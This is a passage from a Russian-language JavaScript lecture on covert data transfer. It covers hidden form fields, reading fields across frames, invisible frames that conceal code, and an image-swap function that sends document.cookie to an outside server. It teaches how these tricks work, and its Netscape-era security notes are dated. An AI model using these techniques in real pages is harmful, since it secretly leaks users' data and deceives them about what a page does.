Программируем "за кадром"

Скрытая передача данных из форм

Обмен данными в Web-технологии подробно рассматривается в курсе "Введение в CGI". Здесь же мы рассмотрим возможности передачи скрытых от пользователя данных с использованием JavaScript. Начнем с простого примера.

Пример 8.2. Введите в поле имя и нажмите кнопку:

<FORM NAME=f>Имя:
 <INPUT TYPE=text NAME=user>
 <INPUT TYPE=hidden NAME=h>
 <INPUT TYPE=submit VALUE="Отправить">
</FORM>
<SCRIPT>
 document.f.h.value=window.navigator.appName;
</SCRIPT>

После нажатия кнопки в адресной строке вы увидите, что помимо user=имя имеется также h=имя_вашего_браузера. В заполненной Вами форме поля h не было видно. Таким образом, форма передала на сервер дополнительную информацию помимо Вашего желания. Это уже неприятно, хотя сама информация в данном случае (имя браузера) не представляет из себя ничего криминального. Если бы в качестве метода передачи данных был использован не GET (как в нашем примере, по умолчанию), а POST, то этой скрытой передачи данных пользователь даже не заметил бы.

Пример 8.3. Пример состоит из двух фреймов (расположенных в файлах left.htm и right.htm ), в которые помещена одинаковая форма. В правый фрейм, помимо этого, помещен также следующий скрипт:

function copyFields()
{ here = document.forms[0].elements;
 there = window.top.frames[0].document.forms[0].elements;

 here[0].value = there[0].value;
 here[1].value = there[1].value;
 here[2].value = there[2].value;
 here[3].value = there[3].value;

setTimeout('copyFields()',100);
}
window.onload=copyFields;

Функция copyFields() запускается раз в 0,1 сек. Когда пользователь вводит данные в левом фрейме, эти же данные попадают в соответствующие поля правого фрейма. Таким образом, данные из одного окна могут быть считаны программой из другого окна (или фрейма). Вопрос только в том, хотите ли вы, чтобы это происходило. Как решаются эти вопросы, рассказано ниже в разделе "Модель безопасности".

Еще один пример - отправка данных по событию без наличия видимой формы на web-странице:

<FORM NAME=f METHOD=post ACTION="javascript:alert('Передали данные');">
 <INPUT NAME=h TYPE=hidden>
</FORM>
<SCRIPT>
 document.f.h.value = window.navigator.appName;
</SCRIPT>
<A HREF="javascript:alert('Просто ссылка');"
onClick="document.f.submit();">Нажмите на ссылку</A>

При нажатии на гипертекстовую ссылку произойдет не только выдача сообщения, которое в этой ссылке указано, но и отправка данных формы. В итоге вы получите два окна предупреждения. Но второе окно вы не заказывали!

Конечно, бесконтрольной передачи данных на сервер можно избежать, введя режим подтверждения отправки (в настройках браузера). Но, во-первых, многие пользователи его отключают, а во-вторых, можно использовать не формы, а, например, графику. И эту возможность мы сейчас и рассмотрим в следующем разделе.

Невидимый код

Вопрос доступности JavaScript-кода рассматривается с двух точек зрения: идентификация, как следствие - необходимость сокрытия кода, и безопасность пользователя, следовательно - доступность кода.

Приемы программирования со скрытым кодом позволяют решить еще несколько задач, которые не связаны с безопасностью.

Мы будем рассматривать возможности использования скрытого кода, не вынося вердикта о преимуществе того или иного подхода. Рассмотрим несколько вариантов:

• невидимый фрейм;
• код во внешнем файле;
• обмен данными посредством встроенной графики.

Строго говоря, первые два варианта не скрывают код полностью. Они рассчитаны либо на неопытных пользователей, либо на нелюбопытных. Так или иначе, не каждый же раз вы будете смотреть исходный текст страницы.

Невидимый фрейм

Технология программирования в невидимом фрейме основана на том, что при описании фреймовой структуры можно задать конфигурацию типа:

<FRAMESET COLS="100%,*">
   <FRAME SRC=left.htm>
   <FRAME SRC=right.htm>
</FRAMESET>

В этом случае левый фрейм займет весь объем рабочей области окна, а содержание правого будет скрыто. Именно в этом невидимом фрейме мы и разместим код программы (например, приведенный выше скрипт считывания полей из формы в левом фрейме). В невидимый фрейм иногда помещают функции подкачки графики, позволяя пользователю уже работать с основным фреймом, пока грузится остальная часть графики.

В данном примере, однако, мы оставили пользователю возможность разоблачить нас: вдоль правой границы окна видна вертикальная полоска - это граница между фреймами. Пользователь может подвинуть ее влево и увидеть правый фрейм. Защититься от этого несложно - достаточно задать толщину границ фреймов, а также указав невозможность изменять размеры у каждого фрейма:

<FRAMESET COLS="100%,*" BORDER=0>
   <FRAME NORESIZE SRC=left.htm>
   <FRAME NORESIZE SRC=right.htm>
</FRAMESET>

Код во внешнем файле

О том, как подключать код JavaScript, размещенный во внешнем файле, рассказывалось во вводной лекции:

<SCRIPT SRC="myscript.js"></SCRIPT>

Данный способ позволяет скрыть код лишь от ленивого пользователя. Но сам код JavaScript легко доступен, т.к. указанный файл можно просто скачать отдельно, либо сохранить всю HTML-страницу (со всеми подключенными к ней скриптами) с помощью меню браузера.

Обмен данными посредством встроенной графики

Данный прием основан на двух идеях: возможности подкачки графического образа без перезагрузки страницы и возможности подкачки этого графического образа не через указание URL графического файла, а через CGI-скрипт, который возвращает Content-type: image/... или осуществляет перенаправление. При этом следует учитывать, что использовать метод, отличный от GET, можно только в формах. В следующем примере мы создали функцию change_image(), которая формально говоря меняет значение свойства src картинки. Но в качестве побочного эффекта позволяет серверу узнать, установлены ли у пользователя cookie (если соответствующим образом запрограммировать CGI-скрипт image.cgi на стороне сервера):

<SCRIPT>
function change_image(x)
{
 document[x].src = 'http://abc.ru/image.cgi?' + document.cookie;
}
</SCRIPT>

<A HREF="javascript:change_image(i);"><IMG NAME=i SRC=image1.gif></A>

Эта безобидная последовательность операторов JavaScript позволит нам узнать получил ли клиент cookie. Куки могут не поддерживаться по разным причинам. В данном случае программа передает на сервер выставленные им cookie в качестве параметра скрипта под видом изменения картинки.

Модель безопасности

При программировании на JavaScript потенциально существует возможность доступа из программы к персональной информации пользователя. Такая проблема возникает всегда, когда нечто, запускаемое на компьютере, имеет возможность самостоятельно организовать обмен данными по сети с удаленным сервером. От версии к версии управление защитой таких данных постоянно совершенствуется, но всегда нужно иметь в виду, что множество "следопытов" исследуют эту проблему и постоянно открывают все новые и новые возможности обхода механизмов защиты. Объясним только основные моменты в принципах защиты информации в JavaScript, а поиск потенциально слабых мест оставим в качестве домашнего задания для наиболее пытливых читателей.

По умолчанию к защищенным в JavaScript данным относятся:

Защищенными эти данные являются с той точки зрения, что программа не может получить значения соответствующих атрибутов. Главным образом речь здесь идет о программе, которая пытается получить доступ к данным, которые определены на другой странице (не на той, в рамках которой данная программа исполняется). Например, к данным из другого окна.

В настоящее время известны три модели защиты: запрет на доступ (Navigator 2.0), taint model (Navigator 3.0), защита через Java (Navigator 4.0). Применение моделей и соответствующие приемы программирования - это отдельный сложный вопрос, требующий знаний и навыков программирования на языке Java, поэтому в рамках данного курса мы его рассматривать не будем.

Отметим только, что к большинству свойств объектов текущего окна программист имеет доступ. Они становятся защищенными только в том случае, если относятся к документу в другом окне и загруженному из другого Web-узла. Поэтому ограничения, накладываемые системой безопасности JavaScript, достаточно гибкие и не очень сильно мешают разработке страниц с применением этого языка программирования.